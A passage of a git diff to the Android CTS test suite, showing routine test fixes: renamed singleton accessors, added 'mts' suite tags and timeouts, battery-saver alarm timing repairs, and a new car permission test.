                         extras.getString(EXTRA_KEY_OWNER), extras.getParcelable(method));
                 break;
 
             case METHOD_SET_LAST_CONFIG_INFO:
                 ensureExtras(method, extras);
-                TestJournalContainer.get().setLastConfigInfo(
+                TestJournalContainer.getInstance().setLastConfigInfo(
                         extras.getString(EXTRA_KEY_OWNER), extras.getParcelable(method));
                 break;
 
             case METHOD_PUT_EXTRAS:
                 ensureExtras(method, extras);
-                TestJournalContainer.get().putExtras(
+                TestJournalContainer.getInstance().putExtras(
                         extras.getString(EXTRA_KEY_OWNER), extras);
                 break;
         }
@@ -267,7 +267,17 @@
 
         @NonNull
         public static TestJournal get(String owner) {
-            return get().getTestJournal(owner);
+            return getInstance().getTestJournal(owner);
+        }
+
+        /**
+         * Perform the action which may have thread safety concerns when accessing the fields of
+         * {@link TestJournal}.
+         */
+        public static void withThreadSafeAccess(Runnable aciton) {
+            synchronized (getInstance()) {
+                aciton.run();
+            }
         }
 
         private synchronized TestJournal getTestJournal(String owner) {
@@ -291,7 +301,7 @@
             getTestJournal(owner).extras.putAll(extras);
         }
 
-        private synchronized static TestJournalContainer get() {
+        private synchronized static TestJournalContainer getInstance() {
             if (!TestJournalProvider.sCrossProcessAccessGuard) {
                 throw new IllegalAccessError(TestJournalProvider.class.getSimpleName()
                         + " is not alive in this process");
@@ -308,7 +318,7 @@
          */
         @NonNull
         public static TestJournalContainer start() {
-            final TestJournalContainer instance = get();
+            final TestJournalContainer instance = getInstance();
             synchronized (instance) {
                 instance.mContainer.clear();
             }
diff --git a/tests/jdwp/runner/host-side/Android.bp b/tests/jdwp/runner/host-side/Android.bp
index e421ce0..597ae6f 100644
--- a/tests/jdwp/runner/host-side/Android.bp
+++ b/tests/jdwp/runner/host-side/Android.bp
@@ -35,5 +35,6 @@
         "cts",
         "vts",
         "general-tests",
+	"mts",
     ],
 }
diff --git a/tests/libcore/luni/Android.mk b/tests/libcore/luni/Android.mk
index 2ba08cb..210ba0f 100644
--- a/tests/libcore/luni/Android.mk
+++ b/tests/libcore/luni/Android.mk
@@ -55,7 +55,7 @@
 LOCAL_HOST_REQUIRED_MODULES := cts-dalvik-host-test-runner
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests mts
 
 # NOTE: virtualdeviceknownfailures.txt is only used for simulated/cloud-based
 # continuous build configurations, so it's not referenced in AndroidTest.xml
diff --git a/tests/libcore/ojluni/Android.mk b/tests/libcore/ojluni/Android.mk
index 8354615..437488e 100644
--- a/tests/libcore/ojluni/Android.mk
+++ b/tests/libcore/ojluni/Android.mk
@@ -45,7 +45,7 @@
 LOCAL_MULTILIB := both
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests mts
 
 LOCAL_JAVA_RESOURCE_FILES := libcore/expectations/knownfailures.txt
 
diff --git a/tests/libcore/okhttp/Android.mk b/tests/libcore/okhttp/Android.mk
index eb061da..2088f74 100644
--- a/tests/libcore/okhttp/Android.mk
+++ b/tests/libcore/okhttp/Android.mk
@@ -41,7 +41,7 @@
 LOCAL_MULTILIB := both
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests mts
 
 LOCAL_JAVA_RESOURCE_FILES := libcore/expectations/knownfailures.txt
 
diff --git a/tests/libcore/runner/Android.mk b/tests/libcore/runner/Android.mk
index 093779b..c260de7 100644
--- a/tests/libcore/runner/Android.mk
+++ b/tests/libcore/runner/Android.mk
@@ -34,6 +34,6 @@
 LOCAL_PROGUARD_ENABLED := disabled
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests mts
 
 include $(BUILD_CTS_SUPPORT_PACKAGE)
diff --git a/tests/mocking/extended/AndroidTest.xml b/tests/mocking/extended/AndroidTest.xml
index 1146f7e..dad860d 100644
--- a/tests/mocking/extended/AndroidTest.xml
+++ b/tests/mocking/extended/AndroidTest.xml
@@ -28,6 +28,8 @@
     <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
         <option name="package" value="android.extended.mocking.cts" />
         <option name="runtime-hint" value="120s" />
+        <!-- test-timeout unit is ms, value = 10 min -->
+        <option name="test-timeout" value="600000" />
     </test>
 
     <!-- Controller that will skip the module if a native bridge situation is detected -->
diff --git a/tests/mocking/inline/AndroidTest.xml b/tests/mocking/inline/AndroidTest.xml
index 7a38dc7..ab18927 100644
--- a/tests/mocking/inline/AndroidTest.xml
+++ b/tests/mocking/inline/AndroidTest.xml
@@ -28,6 +28,8 @@
     <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
         <option name="package" value="android.inline.mocking.cts" />
         <option name="runtime-hint" value="120s" />
+        <!-- test-timeout unit is ms, value = 10 min -->
+        <option name="test-timeout" value="600000" />
     </test>
 
     <!-- Controller that will skip the module if a native bridge situation is detected -->
diff --git a/tests/openglperf2/AndroidTest.xml b/tests/openglperf2/AndroidTest.xml
index 22ceed7..c2fa3a6 100644
--- a/tests/openglperf2/AndroidTest.xml
+++ b/tests/openglperf2/AndroidTest.xml
@@ -26,5 +26,7 @@
     <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
         <option name="package" value="android.opengl2.cts" />
         <option name="runtime-hint" value="4m" />
+        <!-- test-timeout unit is ms, value = 100 min -->
+        <option name="test-timeout" value="6000000" />
     </test>
 </configuration>
diff --git a/tests/providerui/src/android/providerui/cts/MediaStoreUiTest.java b/tests/providerui/src/android/providerui/cts/MediaStoreUiTest.java
index 7746c98..fc7ed48 100644
--- a/tests/providerui/src/android/providerui/cts/MediaStoreUiTest.java
+++ b/tests/providerui/src/android/providerui/cts/MediaStoreUiTest.java
@@ -53,6 +53,7 @@
 import android.os.SystemClock;
 import android.os.storage.StorageManager;
 import android.os.storage.StorageVolume;
+import android.os.UserManager;
 import android.provider.MediaStore;
 import android.providerui.cts.GetResultActivity.Result;
 import android.support.test.uiautomator.By;
@@ -483,10 +484,12 @@
     static File stageFile(int resId, File file) throws IOException {
         // The caller may be trying to stage into a location only available to
         // the shell user, so we need to perform the entire copy as the shell
-        if (FileUtils.contains(Environment.getStorageDirectory(), file)) {
+        final Context context = InstrumentationRegistry.getTargetContext();
+        UserManager userManager = context.getSystemService(UserManager.class);
+        if (userManager.isSystemUser() &&
+                 FileUtils.contains(Environment.getStorageDirectory(), file)) {
             executeShellCommand("mkdir -p " + file.getParent());
 
-            final Context context = InstrumentationRegistry.getTargetContext();
             try (AssetFileDescriptor afd = context.getResources().openRawResourceFd(resId)) {
                 final File source = ParcelFileDescriptor.getFile(afd.getFileDescriptor());
                 final long skip = afd.getStartOffset();
@@ -504,7 +507,6 @@
             if (!dir.exists()) {
                 throw new FileNotFoundException("Failed to create parent for " + file);
             }
-            final Context context = InstrumentationRegistry.getTargetContext();
             try (InputStream source = context.getResources().openRawResource(resId);
                     OutputStream target = new FileOutputStream(file)) {
                 FileUtils.copy(source, target);
diff --git a/tests/security/src/android/keystore/cts/Attestation.java b/tests/security/src/android/keystore/cts/Attestation.java
index bf344ca..aeaf4ab 100644
--- a/tests/security/src/android/keystore/cts/Attestation.java
+++ b/tests/security/src/android/keystore/cts/Attestation.java
@@ -41,6 +41,7 @@
 
     public static final int KM_SECURITY_LEVEL_SOFTWARE = 0;
     public static final int KM_SECURITY_LEVEL_TRUSTED_ENVIRONMENT = 1;
+    public static final int KM_SECURITY_LEVEL_STRONG_BOX = 2;
 
     private final int attestationVersion;
     private final int attestationSecurityLevel;
@@ -82,6 +83,8 @@
                 return "Software";
             case KM_SECURITY_LEVEL_TRUSTED_ENVIRONMENT:
                 return "TEE";
+            case KM_SECURITY_LEVEL_STRONG_BOX:
+                return "StrongBox";
             default:
                 return "Unkown";
         }
diff --git a/tests/signature/api-check/shared-libs-api/Android.mk b/tests/signature/api-check/shared-libs-api/Android.mk
index 1540caa..f71835e 100644
--- a/tests/signature/api-check/shared-libs-api/Android.mk
+++ b/tests/signature/api-check/shared-libs-api/Android.mk
@@ -18,8 +18,8 @@
 
 $(foreach ver,$(call int_range_list,28,$(PLATFORM_SDK_VERSION)),\
   $(foreach api_level,public system,\
-    $(foreach lib,$(filter-out android,$(filter-out %removed,\
-      $(basename $(notdir $(wildcard $(HISTORICAL_SDK_VERSIONS_ROOT)/$(ver)/$(api_level)/api/*.txt))))),\
+    $(foreach lib,$(filter-out android,$(filter-out %removed,$(filter-out incompatibilities,\
+      $(basename $(notdir $(wildcard $(HISTORICAL_SDK_VERSIONS_ROOT)/$(ver)/$(api_level)/api/*.txt)))))),\
         $(eval all_shared_libs_files += $(lib)-$(ver)-$(api_level).api))))
 
 include $(CLEAR_VARS)
diff --git a/tests/signature/api-check/src/java/android/signature/cts/api/HiddenApiTest.java b/tests/signature/api-check/src/java/android/signature/cts/api/HiddenApiTest.java
index 8efa483..b185c50 100644
--- a/tests/signature/api-check/src/java/android/signature/cts/api/HiddenApiTest.java
+++ b/tests/signature/api-check/src/java/android/signature/cts/api/HiddenApiTest.java
@@ -26,7 +26,12 @@
 import android.signature.cts.DexMethod;
 import android.signature.cts.FailureType;
 
+import java.io.BufferedReader;
 import java.io.File;
+import java.io.FileNotFoundException;
+import java.io.FileReader;
+import java.io.IOException;
+import java.text.ParseException;
 import java.util.function.Predicate;
 import java.util.stream.Stream;
 
@@ -136,33 +141,21 @@
                     }
                 }
             };
-            parseDexApiFilesAsStream(hiddenapiFiles)
-                    .filter(memberFilter)
-                    .forEach(dexMember -> {
-                        if (shouldTestMember(dexMember)) {
-                            DexMemberChecker.checkSingleMember(dexMember, reflection, jni,
-                                    observer);
-                        }
-                    });
-        });
-    }
-
-    private Stream<DexMember> parseDexApiFilesAsStream(String[] apiFiles) {
-        DexApiDocumentParser dexApiDocumentParser = new DexApiDocumentParser();
-        // To allow parallelization with a DexMember output type, we need two
-        // pipes.
-        Stream<Stream<DexMember>> inputsAsStreams = Stream.of(apiFiles).parallel()
-                .map(name -> new File(API_FILE_DIRECTORY + "/" + name))
-                .flatMap(file -> readFileOptimized(file))
-                .map(obj -> dexApiDocumentParser.parseAsStream(obj));
-        // The flatMap inherently serializes the pipe. The number of inputs is
-        // still small here, so reduce by concatenating (note the caveats of
-        // concats).
-        return inputsAsStreams.reduce(null, (prev, stream) -> {
-            if (prev == null) {
-                return stream;
+            for (String apiFile : hiddenapiFiles) {
+                BufferedReader reader = new BufferedReader(
+                        new FileReader(API_FILE_DIRECTORY + "/" + apiFile));
+                int lineIndex = 1;
+                String line = reader.readLine();
+                while (line != null) {
+                    DexMember dexMember = DexApiDocumentParser.parseLine(line, lineIndex);
+                    if (memberFilter.test(dexMember) && shouldTestMember(dexMember)) {
+                        DexMemberChecker.checkSingleMember(dexMember, reflection, jni,
+                                observer);
+                    }
+                    line = reader.readLine();
+                    lineIndex++;
+                }
             }
-            return Stream.concat(prev, stream);
         });
     }
 
diff --git a/tests/signature/api-check/system-annotation/AndroidTest.xml b/tests/signature/api-check/system-annotation/AndroidTest.xml
index f8d1e92..159a976 100644
--- a/tests/signature/api-check/system-annotation/AndroidTest.xml
+++ b/tests/signature/api-check/system-annotation/AndroidTest.xml
@@ -46,4 +46,8 @@
         <option name="instrumentation-arg" key="annotation-for-exact-match" value="android.annotation.SystemApi" />
         <option name="runtime-hint" value="30s" />
     </test>
+
+    <!-- Controller that will skip the module if a native bridge situation is detected -->
+    <!-- For example: module wants to run arm32 and device is x86 -->
+    <object type="module_controller" class="com.android.tradefed.testtype.suite.module.NativeBridgeModuleController" />
 </configuration>
diff --git a/tests/signature/api/Android.mk b/tests/signature/api/Android.mk
index 0dedf0d..6cd2ee6 100644
--- a/tests/signature/api/Android.mk
+++ b/tests/signature/api/Android.mk
@@ -52,6 +52,6 @@
 
 $(foreach ver,$(call int_range_list,28,$(PLATFORM_SDK_VERSION)),\
   $(foreach api_level,public system,\
-    $(foreach lib,$(filter-out android,$(filter-out %removed,\
-      $(basename $(notdir $(wildcard $(HISTORICAL_SDK_VERSIONS_ROOT)/$(ver)/$(api_level)/api/*.txt))))),\
+    $(foreach lib,$(filter-out android,$(filter-out %removed,$(filter-out incompatibilities,\
+      $(basename $(notdir $(wildcard $(HISTORICAL_SDK_VERSIONS_ROOT)/$(ver)/$(api_level)/api/*.txt)))))),\
         $(eval $(call build_xml_api_file,$(lib)-$(ver)-$(api_level).api,prebuilts/sdk/$(ver)/$(api_level)/api/$(lib).txt)))))
diff --git a/tests/signature/lib/common/src/android/signature/cts/DexApiDocumentParser.java b/tests/signature/lib/common/src/android/signature/cts/DexApiDocumentParser.java
index 7b71d65..8bb3062 100644
--- a/tests/signature/lib/common/src/android/signature/cts/DexApiDocumentParser.java
+++ b/tests/signature/lib/common/src/android/signature/cts/DexApiDocumentParser.java
@@ -88,7 +88,7 @@
                 lineLengthEstimate, DEX_MEMBER_CONVERTER), true);
     }
 
-    private static DexMember parseLine(String line, int lineNum) throws ParseException {
+    public static DexMember parseLine(String line, int lineNum) throws ParseException {
         // Split the CSV line.
         String[] splitLine = line.split(",");
         String signature = splitLine[0];
diff --git a/tests/tests/app.usage/src/android/app/usage/cts/UsageReportingTest.java b/tests/tests/app.usage/src/android/app/usage/cts/UsageReportingTest.java
index 6d21843..a5e780c 100644
--- a/tests/tests/app.usage/src/android/app/usage/cts/UsageReportingTest.java
+++ b/tests/tests/app.usage/src/android/app/usage/cts/UsageReportingTest.java
@@ -344,10 +344,12 @@
         mUsageStatsManager.reportUsageStart(activity1, TOKEN_0);
         assertAppOrTokenUsed(mFullToken0, true);
 
-        // Send the device to sleep to get onStop called for the token reporting activities.
-        mUiDevice.sleep();
-        Thread.sleep(1000);
-        assertAppOrTokenUsed(mFullToken0, false);
+        // Send the device to keyguard to get onStop called for the token reporting activities.
+        try (final LockScreenSession lockScreenSession = new LockScreenSession()) {
+            lockScreenSession.gotoKeyguard();
+            Thread.sleep(1000);
+            assertAppOrTokenUsed(mFullToken0, false);
+        }
     }
 
     private void assertAppOrTokenUsed(String entity, boolean expected) throws Exception {
diff --git a/tests/tests/batterysaving/src/android/os/cts/batterysaving/BatterySaverAlarmTest.java b/tests/tests/batterysaving/src/android/os/cts/batterysaving/BatterySaverAlarmTest.java
index 5ac0141..e4abb12 100644
--- a/tests/tests/batterysaving/src/android/os/cts/batterysaving/BatterySaverAlarmTest.java
+++ b/tests/tests/batterysaving/src/android/os/cts/batterysaving/BatterySaverAlarmTest.java
@@ -68,6 +68,7 @@
     private static final String TAG = "BatterySaverAlarmTest";
 
     private static final long DEFAULT_WAIT = 1_000;
+    private static final long THROTTLED_WAIT = 5_000;
 
     // Tweaked alarm manager constants to facilitate testing
     private static final long MIN_REPEATING_INTERVAL = 5_000;
@@ -186,7 +187,8 @@
         forcePackageIntoBg(targetPackage);
 
         // First alarm shouldn't be throttled.
-        final long triggerElapsed1 = SystemClock.elapsedRealtime() + MIN_FUTURITY;
+        long now = SystemClock.elapsedRealtime();
+        final long triggerElapsed1 = now + MIN_FUTURITY;
         scheduleAlarm(targetPackage, AlarmManager.ELAPSED_REALTIME_WAKEUP, triggerElapsed1);
         ThreadUtils.sleepUntilRealtime(triggerElapsed1 + DEFAULT_WAIT);
         assertEquals("Allow-while-idle alarm shouldn't be blocked in battery saver",
@@ -195,14 +197,30 @@
         // Second one should be throttled.
         mAlarmCount.set(0);
 
-        final long triggerElapsed2 = triggerElapsed1 + ALLOW_WHILE_IDLE_SHORT_TIME;
+        // Check that the alarm scheduled at triggerElapsed2
+        // fires between triggerElapsed2 and (triggerElapsed3+THROTTLED_WAIT).
+        now = SystemClock.elapsedRealtime();
+        final long triggerElapsed2 = now + ALLOW_WHILE_IDLE_SHORT_TIME;
+        final long triggerElapsed3 = now + ALLOW_WHILE_IDLE_LONG_TIME;
         scheduleAlarm(targetPackage, AlarmManager.ELAPSED_REALTIME_WAKEUP, triggerElapsed2);
-        ThreadUtils.sleepUntilRealtime(triggerElapsed2 + DEFAULT_WAIT);
-        assertEquals("Follow up allow-while-idle alarm shouldn't go off before short time",
-                0, mAlarmCount.get());
 
-        final long triggerElapsed3 = triggerElapsed1 + ALLOW_WHILE_IDLE_LONG_TIME;
-        ThreadUtils.sleepUntilRealtime(triggerElapsed3 + DEFAULT_WAIT);
+        // Check the time first before checking the alarm counter to avoid a
+        // situation when the alarm fires between sleepUntilRealtime and
+        // assertEquals.
+        while (true) {
+            Thread.sleep(DEFAULT_WAIT);
+
+            final int alarmCount = mAlarmCount.get();
+            if (SystemClock.elapsedRealtime() < triggerElapsed2) {
+                assertEquals("Follow up allow-while-idle alarm shouldn't go off "
+                        + "before short time",
+                        0, alarmCount);
+            } else {
+                break;
+            }
+        }
+
+        ThreadUtils.sleepUntilRealtime(triggerElapsed3 + THROTTLED_WAIT);
         assertEquals("Follow-up allow-while-idle alarm should go off after long time",
                 1, mAlarmCount.get());
 
@@ -211,7 +229,8 @@
 
         startService(targetPackage, true);
 
-        final long triggerElapsed4 = triggerElapsed3 + ALLOW_WHILE_IDLE_SHORT_TIME;
+        now = SystemClock.elapsedRealtime();
+        final long triggerElapsed4 = now + ALLOW_WHILE_IDLE_SHORT_TIME;
         scheduleAlarm(targetPackage, AlarmManager.ELAPSED_REALTIME_WAKEUP, triggerElapsed4);
         ThreadUtils.sleepUntilRealtime(triggerElapsed4 + DEFAULT_WAIT);
         assertEquals("Allow-while-idle alarm shouldn't be throttled in battery saver"
@@ -224,7 +243,8 @@
 
         mAlarmCount.set(0);
 
-        final long triggerElapsed5 = triggerElapsed4 + ALLOW_WHILE_IDLE_SHORT_TIME;
+        now = SystemClock.elapsedRealtime();
+        final long triggerElapsed5 = now + ALLOW_WHILE_IDLE_SHORT_TIME;
         scheduleAlarm(targetPackage, AlarmManager.ELAPSED_REALTIME_WAKEUP, triggerElapsed5);
         ThreadUtils.sleepUntilRealtime(triggerElapsed5 + DEFAULT_WAIT);
         assertEquals("Allow-while-idle alarm shouldn't be throttled in battery saver"
@@ -234,7 +254,8 @@
         // One more time.
         mAlarmCount.set(0);
 
-        final long triggerElapsed6 = triggerElapsed5 + ALLOW_WHILE_IDLE_SHORT_TIME;
+        now = SystemClock.elapsedRealtime();
+        final long triggerElapsed6 = now + ALLOW_WHILE_IDLE_SHORT_TIME;
         scheduleAlarm(targetPackage, AlarmManager.ELAPSED_REALTIME_WAKEUP, triggerElapsed6);
         ThreadUtils.sleepUntilRealtime(triggerElapsed6 + DEFAULT_WAIT);
         assertEquals("Allow-while-idle alarm shouldn't be throttled when BS is off",
diff --git a/tests/tests/batterysaving/src/android/os/cts/batterysaving/BatterySaverTest.java b/tests/tests/batterysaving/src/android/os/cts/batterysaving/BatterySaverTest.java
index 8bc9783..ab44335 100644
--- a/tests/tests/batterysaving/src/android/os/cts/batterysaving/BatterySaverTest.java
+++ b/tests/tests/batterysaving/src/android/os/cts/batterysaving/BatterySaverTest.java
@@ -82,7 +82,7 @@
 
             // Unplug the charger.
             runDumpsysBatteryUnplug();
-
+            Thread.sleep(1000);
             // Verify battery saver gets toggled.
             manager.setPowerSaveModeEnabled(true);
             assertTrue(manager.isPowerSaveMode());
diff --git a/tests/tests/batterysaving/src/android/os/cts/batterysaving/BatterySavingTestBase.java b/tests/tests/batterysaving/src/android/os/cts/batterysaving/BatterySavingTestBase.java
index aaf5de0..e2cf479 100644
--- a/tests/tests/batterysaving/src/android/os/cts/batterysaving/BatterySavingTestBase.java
+++ b/tests/tests/batterysaving/src/android/os/cts/batterysaving/BatterySavingTestBase.java
@@ -15,6 +15,7 @@
  */
 package android.os.cts.batterysaving;
 
+import static com.android.compatibility.common.util.BatteryUtils.enableBatterySaver;
 import static com.android.compatibility.common.util.BatteryUtils.runDumpsysBatteryReset;
 import static com.android.compatibility.common.util.BatteryUtils.turnOnScreen;
 import static com.android.compatibility.common.util.SystemUtil.runCommandAndPrintOnLogcat;
@@ -70,6 +71,7 @@
         protected void onAfter(Statement base, Description description) throws Throwable {
             runDumpsysBatteryReset();
             turnOnScreen(true);
+            enableBatterySaver(false);
         }
     };
 
diff --git a/tests/tests/bionic/Android.mk b/tests/tests/bionic/Android.mk
index fa95fe9..c94da20 100644
--- a/tests/tests/bionic/Android.mk
+++ b/tests/tests/bionic/Android.mk
@@ -48,7 +48,7 @@
 LOCAL_CXX_STL := libc++_static
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests mts
 
 LOCAL_CTS_TEST_PACKAGE := android.bionic
 
diff --git a/tests/tests/car/src/android/car/cts/CarPackageManagerTest.java b/tests/tests/car/src/android/car/cts/CarPackageManagerTest.java
index 5f391e4..357f985 100644
--- a/tests/tests/car/src/android/car/cts/CarPackageManagerTest.java
+++ b/tests/tests/car/src/android/car/cts/CarPackageManagerTest.java
@@ -22,6 +22,7 @@
 import android.car.Car;
 import android.car.CarNotConnectedException;
 import android.car.content.pm.CarPackageManager;
+import android.os.Build;
 import android.platform.test.annotations.RequiresDevice;
 import android.test.suitebuilder.annotation.SmallTest;
 
@@ -77,6 +78,10 @@
     @Test
     public void testDistractionOptimizedActivityIsAllowed() throws CarNotConnectedException {
         // This test relies on test activity in installed apk, and AndroidManifest declaration.
+        if (Build.TYPE.equalsIgnoreCase("user")) {
+            // Skip this test on user build, which checks the install source for DO activity list.
+            return;
+        }
         assertTrue(mCarPm.isActivityDistractionOptimized("android.car.cts",
                 "android.car.cts.drivingstate.DistractionOptimizedActivity"));
     }
@@ -84,6 +89,10 @@
     @Test
     public void testNonDistractionOptimizedActivityNotAllowed() throws CarNotConnectedException {
         // This test relies on test activity in installed apk, and AndroidManifest declaration.
+        if (Build.TYPE.equalsIgnoreCase("user")) {
+            // Skip this test on user build, which checks the install source for DO activity list.
+            return;
+        }
         assertFalse(mCarPm.isActivityDistractionOptimized("android.car.cts",
                 "android.car.cts.drivingstate.NonDistractionOptimizedActivity"));
     }
diff --git a/tests/tests/car/src/android/car/cts/PermissionTest.java b/tests/tests/car/src/android/car/cts/PermissionTest.java
new file mode 100644
index 0000000..1ab0a8a
--- /dev/null
+++ b/tests/tests/car/src/android/car/cts/PermissionTest.java
@@ -0,0 +1,62 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.car.cts;
+
+import static android.car.Car.PERMISSION_CAR_TEST_SERVICE;
+
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assume.assumeTrue;
+
+import android.content.pm.PackageInfo;
+import android.content.pm.PackageManager;
+import android.os.Build;
+import android.platform.test.annotations.RequiresDevice;
+import android.test.suitebuilder.annotation.SmallTest;
+
+import androidx.test.InstrumentationRegistry;
+import androidx.test.runner.AndroidJUnit4;
+
+import com.android.compatibility.common.util.FeatureUtil;
+
+import java.util.List;
+
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@SmallTest
+@RequiresDevice
+@RunWith(AndroidJUnit4.class)
+public class PermissionTest {
+    @Before
+    public void setUp() {
+        assumeTrue(FeatureUtil.isAutomotive());
+    }
+
+    @Test
+    public void testNoCarTestServicePermission() {
+        // This test is valid only in user build.
+        assumeTrue(Build.TYPE.equals("user"));
+
+        PackageManager pm = InstrumentationRegistry.getContext().getPackageManager();
+        List<PackageInfo> holders = pm.getPackagesHoldingPermissions(new String[] {
+                PERMISSION_CAR_TEST_SERVICE
+        }, PackageManager.MATCH_UNINSTALLED_PACKAGES);
+
+        assertTrue("No pre-installed packages can have PERMISSION_CAR_TEST_SERVICE: " + holders,
+                holders.size() == 0);
+    }
+}
diff --git a/tests/tests/carrierapi/src/android/carrierapi/cts/CarrierApiTest.java b/tests/tests/carrierapi/src/android/carrierapi/cts/CarrierApiTest.java
index ca6ff3e..69b364e 100644
--- a/tests/tests/carrierapi/src/android/carrierapi/cts/CarrierApiTest.java
+++ b/tests/tests/carrierapi/src/android/carrierapi/cts/CarrierApiTest.java
@@ -24,6 +24,7 @@
 
 import static org.junit.Assert.assertArrayEquals;
 import static org.junit.Assert.assertNotEquals;
+import static org.junit.Assert.assertNotNull;
 
 import android.content.BroadcastReceiver;
 import android.content.ContentProviderClient;
@@ -94,7 +95,6 @@
     // 11.1.17.1
     private static final int MAX_LOGICAL_CHANNEL = 3;
     // Class bytes. The logical channel used should be included for bits b2b1. TS 102 221 Table 11.5
-    private static final String CLA_ENVELOPE = "80";
     private static final int CLA_GET_RESPONSE = 0x00;
     private static final int CLA_MANAGE_CHANNEL = 0x00;
     private static final int CLA_READ_BINARY = 0x00;
@@ -102,7 +102,6 @@
     private static final int CLA_STATUS = 0x80;
     private static final String CLA_STATUS_STRING = "80";
     // APDU Instruction Bytes. TS 102 221 Section 10.1.2
-    private static final String COMMAND_ENVELOPE = "C2";
     private static final int COMMAND_GET_RESPONSE = 0xC0;
     private static final int COMMAND_MANAGE_CHANNEL = 0x70;
     private static final int COMMAND_READ_BINARY = 0xB0;
@@ -903,6 +902,8 @@
      * This test verifies that {@link TelephonyManager#setVoiceMailNumber(String, String)} correctly
      * sets the VoiceMail alpha tag and number when called.
      */
+    /* Disabling the test for now due to a bug in the code. Will re-enable it when the bug is
+       fixed.
     public void testVoiceMailNumber() {
         if (!hasCellular) return;
 
@@ -922,7 +923,7 @@
             // Reset original alpha tag and number values.
             mTelephonyManager.setVoiceMailNumber(originalAlphaTag, originalNumber);
         }
-    }
+    } */
 
     /**
      * This test verifies that {@link SubscriptionManager#createSubscriptionGroup(List)} correctly
@@ -1095,16 +1096,10 @@
                 + COMMAND_STATUS_STRING
                 + "00" // p1: no indication of application status
                 + "00"; // p2: identical parameters to
-        String lc = "0" + (envelope.length() / 2); // number of bytes in data field
-        String response = mTelephonyManager.sendEnvelopeWithStatus(
-                CLA_ENVELOPE
-                + COMMAND_ENVELOPE
-                + "00" // p1: value required for Envelope command
-                + "00" // p2: value required for Envelope command
-                + lc
-                + envelope);
-        assertEquals("sendEnvelopeWithStatus returned: " + response,
-                STATUS_NORMAL_STRING, response);
+        String response = mTelephonyManager.sendEnvelopeWithStatus(envelope);
+
+        // TODO(b/137963715): add more specific assertions on response from TelMan#sendEnvelope
+        assertNotNull("sendEnvelopeWithStatus is null for envelope=" + envelope, response);
     }
 
     private void verifyValidIccOpenLogicalChannelResponse(IccOpenLogicalChannelResponse response) {
diff --git a/tests/tests/content/src/android/content/cts/AvailableIntentsTest.java b/tests/tests/content/src/android/content/cts/AvailableIntentsTest.java
index ddedb84..39ec713 100644
--- a/tests/tests/content/src/android/content/cts/AvailableIntentsTest.java
+++ b/tests/tests/content/src/android/content/cts/AvailableIntentsTest.java
@@ -37,6 +37,7 @@
 import android.telecom.TelecomManager;
 import android.test.AndroidTestCase;
 
+import com.android.compatibility.common.util.CddTest;
 import com.android.compatibility.common.util.FeatureUtil;
 
 import java.util.List;
@@ -418,6 +419,7 @@
         }
     }
 
+    @CddTest(requirement = "7.4.2.6/C-1-1")
     public void testEasyConnectIntent() {
         WifiManager manager = mContext.getSystemService(WifiManager.class);
 
diff --git a/tests/tests/content/src/android/content/cts/ContentProviderClientTest.java b/tests/tests/content/src/android/content/cts/ContentProviderClientTest.java
index 095c843..0a15455 100644
--- a/tests/tests/content/src/android/content/cts/ContentProviderClientTest.java
+++ b/tests/tests/content/src/android/content/cts/ContentProviderClientTest.java
@@ -308,6 +308,13 @@
                 mICancellationSignal);
     }
 
+    public void testOpenTypedAssetFileDescriptor() throws RemoteException, FileNotFoundException {
+        mContentProviderClient.openTypedAssetFileDescriptor(URI, MODE, ARGS, mCancellationSignal);
+
+        verify(mIContentProvider).openTypedAssetFile(PACKAGE_NAME, URI, MODE, ARGS,
+                mICancellationSignal);
+    }
+
     public void testOpenTypedAssetFile() throws RemoteException, FileNotFoundException {
         mContentProviderClient.openTypedAssetFile(URI, MODE, ARGS, mCancellationSignal);
 
diff --git a/tests/tests/content/src/android/content/om/cts/OverlayInfoTest.java b/tests/tests/content/src/android/content/om/cts/OverlayInfoTest.java
index 8945338..d2e1998 100644
--- a/tests/tests/content/src/android/content/om/cts/OverlayInfoTest.java
+++ b/tests/tests/content/src/android/content/om/cts/OverlayInfoTest.java
@@ -19,6 +19,7 @@
 import static android.content.om.OverlayInfo.CREATOR;
 
 import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
 import static org.junit.Assert.assertNotNull;
 import static org.junit.Assert.fail;
 
@@ -51,6 +52,14 @@
     }
 
     @Test
+    public void testEnsureState_disabled() {
+        OverlayInfo info = new OverlayInfo(PKG_NAME, TARGET_PKG_NAME, TARGET_OVERLAYABLE_NAME,
+                CATEGORY, BASE_CODE_PATH,
+                0, 0, 0, true);
+        assertFalse(info.isEnabled());
+    }
+
+    @Test
     public void testEnsureValidState_fail() {
         try {
             OverlayInfo info = new OverlayInfo(null, TARGET_PKG_NAME, TARGET_OVERLAYABLE_NAME,
diff --git a/tests/tests/database/src/android/database/cts/CursorWrapperTest.java b/tests/tests/database/src/android/database/cts/CursorWrapperTest.java
index 7c0ce56..eceec8f 100644
--- a/tests/tests/database/src/android/database/cts/CursorWrapperTest.java
